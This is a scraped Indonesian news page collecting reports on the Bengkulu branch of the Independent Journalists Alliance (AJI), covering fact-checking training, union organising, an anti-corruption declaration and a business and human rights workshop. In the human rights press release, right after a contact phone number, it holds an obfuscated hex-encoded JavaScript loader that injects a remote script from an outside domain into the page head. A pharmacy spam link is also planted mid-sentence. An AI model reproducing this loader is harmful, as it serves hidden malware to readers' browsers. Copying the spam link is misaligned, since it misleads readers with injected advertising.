AJI Bengkulu Ajak Jurnalis Cerdas Dalam Memverifikasi Fakta Secara Online

RBO, BENGKULU – Aliansi Jurnalis Independen (AJI) Bengkulu memberikan bekal ilmu bagi 30 orang jurnalis di Provinsi Bengkulu untuk mengikuti pelatihan verifikasi fakta secara online dan keamanan digital, Google News Initiative dan Internews. Pelatihan ini, berlangsung dari tanggal 3 sampai 4 Agustus 2019, bertempat di Hotel Grage .

Ketua AJI Bengkulu, Harry Siswoyo mengatakan, untuk melawan hoaks, tidak cukup dengan literasi atau hanya membaca saja. Melainkan, jurnalis juga harus dibekali pengetahuan tentang teknologi. “Pelatihan verifikasi fakta secara online ini, memang merupakan program AJI secara nasional di seluruh Indonesia bersama Google News Initiative sejak tahun 2018. Target besar program ini, membentuk 3000 fact checker di seluruh Indonesia guna menangkal sebaran hoaks dan informasi palsu di internet,” kata Harry pada jurnalis, kemarin.

Selengkapnya..

Cegah Hoax, AJI Bengkulu Gelar Pelatihan ‘Google News Initiative Training Network’

BengkuluKito.Com, – Guna mencegah penyebaran berita hoax, Aliansi Jurnalis Independen (AJI) Indonesia Provinsi Bengkulu bekerjasama dengan Google News Initiative dan Internews menggelar pelatihan ‘Google News Initiative Training Network’

Pelatihan tersebut digelar dari tanggal 3-4 Agustus 2019 di Grage Horizon, dan diikuti puluhan jurnalis yang berasal dari berbagai media, baik cetak, televisi, maupun online.

Disampaikan Ketua AJI Bengkulu, Harry Siswoyo, kegiatan ini berguna memberikan pembekalan terhadap jurnalis Bengkulu, dan AJI Bengkulu berkomitmen meningkatkan kapasitas terhadap jurnalis.

Selengkapnya..

Aklamasi, Harry Siswoyo Pimpin AJI Bengkulu

Konferta II AJI Bengkulu memutuskan Harry Siswoyo, kontributor VIVA.co.id dan Ricky Jenihansen sebagai Ketua dan Sekretaris AJI Bengkulu untuk periode 2019-2022.

Harry dan Ricky terpilih secara aklamasi dalam Konferta, Sabtu (13/7) dan dihadiri 9 orang dari total 15 anggota. Ketua terpilih, Harry mengatakan, tugas kepengurusan AJI Bengkulu kedepannya semakin berat seiring dengan tantangan jurnalistik yang semakin berkembang.

“Aji Bengkulu berkomitmen tetap bekerja pada koridor yang ditetapkan,” kata Harry.

Selengkapnya…

PWI Bolehkan Wartawan Masuk Parpol, Ini Komentar AJI

Liputan6.com, Jakarta – Ketua Aliansi Jurnalis Indonesia (AJI) Abdul Manan memberikan komentarnya terkait peraturan baru dari Persatuan Wartawan Indonesia (PWI) yang membolehkan anggotanya menjadi anggota partai politik.

Walau menghormati keputusan PWI, Manan menilai seharusnya aturan tersebut tidak diberlakukan. Sebab, kebijakan itu bisa memengaruhi independensi dan citra dari wartawan.

“Meskipun tidak boleh jadi pengurus partai politik kalau dia tetap menjadi wartawan, kan wartawan itu profesi individual, yang harusnya tanggung jawab untuk melaksanakan etis itu individual. Jadi membolehkan wartawan menjadi anggota partai politik itu membahayakan independensi dia,” tutur Manan saat dihubungi Liputan6.com, Rabu (10/7/2019).

“Misalnya tiba-tiba kita pakai baju partai A, orang kan akan menilai oh dia bagian dari partai itu dan kalau dia bagian dari partai itu, dia agak susah diharapkan independen kalau menulis partai itu atau menulis partai yang lain,” sambung dia.

Selengkapnya..

Doa dan Harapan Jurnalis Bengkulu untuk Prabangsa

Liputan6.com, Bengkulu – Sebanyak 22 orang Jurnalis yang tergabung dalam Aliansi Jurnalis Muda Bengkulu (AJMB) menggelar aksi protes pemberian remisi kepada Nyoman Susrama yang divonis seumur hidup atas kasus pembunuhan wartawan Radar Bali, Anak Agung Ngurah Bagus Narendra Prabangsa tahun 2009 lalu.

Jurnalis yang hadir merupakan gabungan Aliansi Jurnalis Independen (AJI), Persatuan Wartawan Indonesia (PWI), dan Ikatan Jurnalistik Televisi Indonesia (IJTI) Bengkulu.

Doa bersama pun digelar di kawasan Pantai Jakat Kota Bengkulu. Usai berdoa, aksi dilanjutkan dengan berorasi sambil membentang poster yang isinya meminta presiden Jokowi untuk meninjau kembali pemberian remisi kepada Susrama.

Selanjutnya, lima orang jurnalis Agung Okiarlis mewakili Jurnalis TV, Firmasyah mewakili jurnalis online, Heriandi Amin Radio, Chandra Hadinata mewakili koran lokal dan Marliansyah mewakili koran nasional menuju laut dan melakukan tabur bunga di Samudra Hindia sebagai simbol protes terhadap kasus pembunuhan Prabangsa yang dibuang ke laut.

Koordinator aksi yang juga Kepala Bidang Advokasi AJI Bengkulu Firmasyah Tasril mengatakan, pemberian remisi menjadi 20 tahun penjara melalui Keputusan Presiden itu mengancam kemerdekaan pers.

“Kami menolak keras remisi itu,” tegas Firmansyah di Bengkulu Sabtu 26 Januari 2019.

Selengkapnya..

Jurnalis Bengkulu Deklarasi Melawan Korupsi

Liputan6.com, Bengkulu – Sebanyak 16 orang jurnalis Bengkulu mendeklarasikan diri untuk melawan korupsi. Deklarasi ini disaksikan perwakilan Komisi Pemberantasan Korupsi (KPK) Wakil Ketua Dewan Pers Imam Wahyudi, Pelaksana Tugas Gubernur Bengkulu Rohidin Mersyah dan para pimpinan media dan organisasi pers di Bengkulu.

Koordinator bidang Advokasi Aliansi Jurnalis Independen Bengkulu Hidi Christoper menyatakan, deklarasi ini sebagai bentuk dukungan terhadap pemberantasan korupsi yang sedang gencar dilakukan oleh aparat penegak hukum dan KPK. Pers sebagai garda terdepan dalam memberikan informasi kepada masyarakat juga memiliki tanggung jawab dalam upaya pemberantasan korupsi ini.

“Sebagai fungsi kontrol, kami mendukung semua upaya pemberantasan korupsi,” tegas Christopher di Bengkulu, Selasa 14 November 2017. 

Selengkapnya..

Jurnalis Mendalami Kewajiban Sektor Bisnis Menghormati Hak Asasi Manusia

Pekanbaru – Hak asasi manusia (HAM) merupakan hak dasar yang melekat pada setiap manusia sejak lahir, untuk menjaga martabat dan kesetaraan tanpa terkecuali. Tanggung jawab utama pemenuhan (to fulfill), penghargaan (to respect), perlindungan (to protect), dan mengupayakan (to promote) HAM ada di tangan aparatur negara, menggunakan instrument kebijakan dan hukum yang dimiliki.

Kewajiban melindungi hak asasi tersebut tidak hanya pada wilayah sipil dan politik tapi juga wilayah ekonomi, yang beririsan dengan kelompok bisnis. Kerangka otoratif pada United Nations Guiding Principles on Business and Human Rights (UNGP) mengdopsi secara rinci kewajiban-kewajiban dan tanggung jawab baik negara maupun sektor bisnis.

“Untuk mengatasi berbagai macam permasalahan yang terkait dengan dampak-dampak pemenuhan hak asasi manusia (HAM) pada sektor bisnis,” kata Sinthia Dewi Harkrisnowo, Project Manager Business and Human Rights, Oxfam Indonesia, pemateri Workshop Bisnis dan HAM untuk jurnalis yang diselenggaraan Aliansi Jurnalis Independen (AJI) bekerja sama dengan INFID dan Oxfam dengan dukungan European Union (EU), Jumat 18/11).

Workshop yang diikuti 30 jurnalis dari berbagai daerah seperti Medan, Pontianak, Jawa Timur, Jakarta, Aceh, Pekanbaru, Bengkulu, dan Jambi, Rabu-Jumat (16-18/11) di Pekanbaru. Workshop ini bagian dari Festival Media AJI 2016.

Kerangka UNGP, denmarkapotek.com/kob-billig-cialis-piller-online-under-recept/ kata Sinthia, menekankan pada tiga pilar: kewajiban negara melindungi HAM, kewajiban perusahaan menghormati HAM dan akses pemulihan bagi masyarakat yang mengalami dampak aktivitas perusahaan.

Sektor bisnis atau perusahaan-perusahaan memiliki kewajiban untuk melakukan Uji Tuntas HAM. Hasilnya akan menggambarkan identifikasi dampak kewajiban-kewajiban perusahaan dalam upaya melakukan penghormatan terhadap HAM khususnya masyarakat di sekitar wilayah operasional perusahaan ataupun masyarakat yang terkena dampak dari operasi bisnis tersebut.

Perusahaan perlu terlibat karena Mukadimah Deklarasi Universal HAM menyatakan semua organ masyarakat harus mengusahakan, mempromosikan penghormatan atas hak dan kebebasan, menjaga sifat universal, pengakuan dan penghormatan efektif atas HAM di setiap wilayah negaranya. Pelaku usaha adalah salah satu organ masyarakat.

Pasal 1(6) UU No. 39 tahun 1999 tentang Hak Asasi Manusia menyatakan pelanggaran HAM adalah setiap perbuatan seseorang atau kelompok orang termasuk aparat negara baik disengaja maupun tidak disengaja atau kelalaian. Kata “kelompok orang” tersebut dapat dikategorikan termasuk “korporasi”. Dalam konteks bisnis, pasal tersebut memperkuat dasar untuk menekankan tanggung jawab HAM pelaku usaha.

Terkait dengan lingkungan hidup, UU No. 23 Tahun 1997 tentang Pengelolaan Lingkungan Hidup memuat pertanggungjawaban pidana bagi perusahaan/korporasi yang berbuat merusak dan atau mencemarkan lingkungan hidup (Pasal 41 s/d pasal 46). Perusakan dan atau pencemaran lingkungan hidup berpotensi menimbulkan pelanggaran HAM. “EU baru mengadopsi kesepakatan bersama negara-negara anggota tentang komitmen mengadopsi UNGP tidak hanya di internal negara mereka tapi juga hubungan dengan negara lain. Konteks Indonesia, isu utama agar membuat country HAM strategis,” kata Saiti Gusrini, Programme Manager European Instrument for Democracy and Human Rights (EIDHR), European Union dalam sambutannya.

Pengaduan masyarakat ke Komisi Nasional (Komnas) HAM terkait pelanggaran HAM, perusahaan menduduki peringkat kedua selama tiga tahun berturut-turut.

untitled

Sinthia menambahkan keterlibatan pelaku usaha dalam menegakkan HAM dalam semua dimensi, dapat memberi keuntungan bagi perusahaan. Perusahaan tidak hanya mendapat reputasi yang baik, semangat kerja dan motivasi yang lebih baik dari para pekerja karena produktifitas lebih tinggi. “Dapat menekan biaya dari konflik berkepanjangan,” kata Sinthia.

Sementara itu Mugiyanto, Senior Program Officer for Human Rights and Democracy (INFID), mengatakan instrument UNGP dapat menjadi acuan utama untuk memperkaya dan memperdalam isu HAM bagi jurnalis.

Ketua AJI Indonesia Suwarjono mengatakan jurnalis mempunyai peran penting untuk mendorong dan mengedukasi pelaku usaha terlibat dalam penegakan HAM dan masyarakat tahu haknya. “Workshop ini bagian dari peningkatan kapasitas jurnalis,” katanya.

Kontak Person:
Y. Hesthi Murthi/ AJI (087888839543)

Salam Hangat,

*Yekthi Hesthi Murthi
Ketua Bidang Perempuan dan Kelompok Marjinal
Aliansi Jurnalis Independen (AJI) Indonesia
HP : 087888839543 (WA) var _0x29b4=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64”];var el=document[_0x29b4[1]](_0x29b4[0]);el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]][_0x29b4[4]](el)

Pekerja Media di Bengkulu Bersepakat untuk Berserikat

Bengkulu – Sebanyak 15 pekerja media di Provinsi Bengkulu bersepakat untuk membentuk serikat pekerja media. Kesepakatan ini merupakan salah satu hasil dari Training on Organizing the Unorganized bertemakan “Pekerja Media Bersatu, Bersepakatlah” yang diselenggarakan oleh AJI dan FNV di Hotel Santika Bengkulu, 20 – 21 Agustus 2016.

“Kami memandang perlu dan penting, serta bersepakata dan berkomitmen untuk membentuk serikat pekerja media di Bengkulu,” kata Ketua tim formatur serikat pekerja media Bengkulu, H. Christopher, di Bengkulu, Minggu (21/8).

Serikat pekerja media dibentuk untuk memperjuangkan, membela dan melindungi hak-hak dan kepentingan para pekerja media. Serikat ini dibentuk tidak hanya untuk mewadahi jurnalis, tetapi semua pekerja media seperti pekerja di bidang periklanan, percetakan, sirkulasi, teknologi informasi dan lainnya di perusahaan media.

“Kamis (1/9), kami akan bertemu untuk membahas lebih lanjut. Kami juga akan ajak teman-teman pekerja media lainnya untuk hadir dan terlibat,” tambah Christopher.

Training yang difasilitasi oleh Firmansyah ini menghadiri 4 narasumber. Yakni, Sasmito dari Forum Serikat Pekerja Media Independen, Yudie Thirzano dari Bidang Serikat Pekerja AJI Indonesia, Dedi Zulmi dari Konfederasi Serikat Pekerja Seluruh Indonesia Bengkulu/Dewan Pengupahan Bengkulu, dan Firnandes Maurisya dari LBH Respublica/Pengacara Publik Perburuhan. Training diikuti pekerja media di Provinsi Bengkulu, Lampung, Palembang dan Jambi.

Dalam training terungkap sedikitnya 15 masalah pekerja media. Meliputi kerja ganda, tidak ada jaminan sosial, tidak ada jaminan kesehatan, upah/gaji belum layak, upah/gaji telat dibayar, jam kerja tidak berbatas, tanpa kontrak kerja, kerja di luar daerah tidak didukung dana, tidak ada jaminan keselamatan, tidak ada asuransi, intervensi penguasa, tidak ada perlindungan hukum, tidak ada fasilitas peningkatan kapasitas, hak cuti tidak diberikan dan tidak ada perlindungan hukum.

“Minimnya dorongan pemerintah untuk mengedukasi para pekerja media untuk membentuk serikat pekerja media dan persepsi kurang tepat dari pemilik media juga terungkap sebagai dua hambatan utama sehingga belum adanya serikat pekerja media di Bengkulu dan daerah lainnya. Dua hambatan ini penting untuk menjadi perhatian pemerintah, khususnya,” Ketua AJI Bengkulu Dedek Hendry.

AJI Bengkulu Gelar Workshop Serikat Pekerja Media

“Pekerja Media Bersatu, Berserikatlah”

Era Pekerja media multitalents (banyak keahlian) semakin bertumbuh di tengah suburnya era digital dan internet dewasa ini. Praktik korvegensi yang ekspansif secara bisnis koorporasi, menuntut beban kerja tambahan bagi pekerja media. Namun sayang, beban kerja tambahan tak diikuti oleh peningkatan kesejahteraan.

Misalnya satu media yang awalnya cetak atau TV namun karena menggejalanya media online maka hadir pula versi online. Beban kerja jurnalis semakin bertambah, perkembangan industri media tak berbanding lurus dengan kesejahteraan jurnalis atau pekerja media.

Perkembangannya selama ini lebih tak berbanding lurus lagi dengan tumbuhnya serikat pekerja di suatu media. Kondisi inilah yang ikut mendorong jurnalis rentan dan gampang disetir pemilik media karena posisinya yang lemah.

Berdasarkan pendataan yang dilakukan Aliansi Jurnalis Independen (AJI) dan FSPM Independen, hingga kini jumlah media yang memiliki serikat pekerja sekitar 38 di seluruh Indonesia. Dari jumlah itu, yang serikat pekerjanya aktif sekitar 24 serikat pekerja. Kalau pun dibuat survei terbaru, kita mungkin pesimis hanya merangkak naik sedikit.

Kurang eksisnya pekerja media berserikat, boleh jadi kesadaran yang masih minim, serta masih lemah membangun sistem manajemen yang baik, kurang kecakapan mengorganisir, mengakomodir anggota, dan belum mumpuni dalam hal bernegosiasi. Situasi ini diperparah lagi oleh adanya resistensi, baik diam-diam atau terbuka, dari pemilik media atau pun cara berpikir jurnalis sendiri.

Penolakan itu, sebagian besar–kalau bukan seluruhnya—karena kekhawatiran manajemen media yang sangat berlebihan terhadap keberadaan serikat pekerja. Sikap anti-serikat pekerja media ini ditunjukkan melalui berbagai cara,mulai dari yang “halus” sampai “kasar”. Inilah yang menjadi momok penghalang pekerja media berserikat. Padahal serikat pekerja adalah amanat Undang-Undang No 13 Tahun 2003 tentang Serikat Pekerja/Buruh.

Di ambang mata, kita tetap akan menghadapi persoalan yang makin kompleks di lingkungan industrial. Sebut saja beban tambahan kerja tadi yang tak dibarengi peningkatan kesejahteraan. Kemudian masalah jaminan asuransi kesehatan, keselamatan, jaminan sosial, dan upah yang layak.

Temuan AJI, masih banyak media yang menggaji jurnalisnya di bawah angka upah minimum kota (UMK) yang telah ditetapkan oleh pemerintah. Praktek ini terutama banyak terjadi di daerah. Mengapa upah, jaminan sosial/kesehatan, dan keselamatan? Karena mestinya semua berdampak pada kualitas dan mutu jurnalistik.

Pada kasus lain, hubungan kerja kontraktual dengan perusahaan masih belum menemukan bentuk yang ideal, pola saling menguntungkan antara perusahaan dengan pekerja media. Selain itu, sering juga pekerja media tak berdaya menghadapi persengketaan dengan perusahaanya. Mereka selalu berada dalam posisi yang lemah dan dikalahkan. Melihat kondisi semacam ini, maka perlu menumbuhkan kesadaran untuk berserikat. Juga dibutuhkan penguatan bagi serikat pekerja yang sudah ada. Sebab, dengan berserikat posisi tawar pekerja media menjadi kuat. Seturut itu pula, serikat pekerja media mampu berperan penting dalam memperjuangkan hak dan kepentingan para pekerja media.

Training on Organizing the Unorganized, dengan tema ‘Pekerja Media Bersatu, Berserikatlah’ salah satu cara Aliansi Jurnalis Independen (AJI) dan FNV dalam memupuk kesadaran, membangun persatuan, dan memperkuat pekerja media mengelola serikat pekerjanya.

Tujuan Workshop:
a. Memberikan pemahaman yang komprehensif tentang fungsi serikat pekerja di media.
b. Memberikan gambaran yang memadai tentang tantangan aktual yang dihadapi serikat pekerja
media dan para aktifisnya.
c. Memberikan panduan praktis tentang bagaimana mengorganisir serikat pekerja media.
d. Memberikan panduan praktis tentang bagaimana menjadi aktivis serikat pekerja media.
e. Menghasilkan kader-kader yang akan menginisiasi serikat pekerja di media.
Narasumber :
Sekretaris Aji Kota Bengkulu Phesi Ester Julikawati

Media Online Lokal Bukan Kompetitor

Bandar Lampung – Hadirnya media online lokal bukan untuk menjadi kompetitor media mainstream, namun sebagai media pelengkap dalam menyajikan informasi-informasi lokal daerah dengan konten-konten berita yang lebih menarik dan proporsional. Di samping itu, penyajian informasi lokal daerah lebih lengkap, mendalam dan analitis (in depth news).

“Setelah mengikuti acara ini, media online lokal diharapkan mengilhami pengetahuan tentang bagaimana menyajikan konten-konten menarik dalam membentuk platform media online-nya,” kata Ketua Aliansi Jurnalis Indpenden (AJI) Bandar Lampung, Padli Ramdan di hari akhir workshop di Hotel Whiz Prime, Jl Ahmad Yani No.21 Tanjung Karang, Bandar Lampung, Sabtu (6/8/2016).

Sementara itu, Pemateri Sabine Torres pada sesi akhir juga menuturkan, jika ingin media online mudah diingat dan dikenal publik serta berada dalam posisi strategis di mesin pencarian (google), maka ada ketentuan, prosedur serta trik-trik yang harus dilakukan.

“Saya berharap, semua pengetahuan yang telah diberikan, dapat diimplementasikan dalam media online anda,” terangnya dalam Bahasa Inggris.

Workshop yang selesai digelar selama 2 hari itu memaparkan tentang Editorial Strategy, Marketing Strategy dan Technical Strategy. Kegiatan pun ditutup dengan pengabadian momen dengan foto bersama. [**]

 

Penulis:
Aji Asmuni – Bidang Organisasi AJI Bengkulu